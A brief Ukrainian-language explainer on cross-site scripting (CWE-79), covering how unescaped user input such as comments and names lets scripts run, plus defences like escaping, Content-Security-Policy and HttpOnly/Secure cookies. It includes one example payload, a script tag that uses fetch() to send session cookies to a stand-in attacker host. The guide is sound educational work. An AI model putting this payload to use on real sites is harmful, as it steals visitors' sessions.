XSS (Cross-Site Scripting) це вразливість, коли застосунок виводить на сторінку дані від користувача без екранування, і серед них опиняється скрипт. Цей скрипт виконується у браузері кожного, хто відкрив сторінку. Це CWE-79.
Як це зустрічається на практиці
Класичний вхід це коментарі, імена, будь-який текст, який один користувач вводить, а інші бачать. Перше, що робить впроваджений скрипт, це забирає cookie сесії. Із чужою сесією пароль уже не потрібен.
Приклад
Замість імені користувач лишає:
text<script>fetch('https://evil.tld/?c='+document.cookie)</script>Якщо вивід не екранований, кожен, хто відкрив сторінку з цим коментарем, віддає свою сесію на чужий сервер.
Як захиститись
- Екрануйте будь-який користувацький вивід
- Поставте заголовок Content-Security-Policy
- Cookie сесії видавайте з прапорцями HttpOnly і Secure, щоб їх не читав скрипт
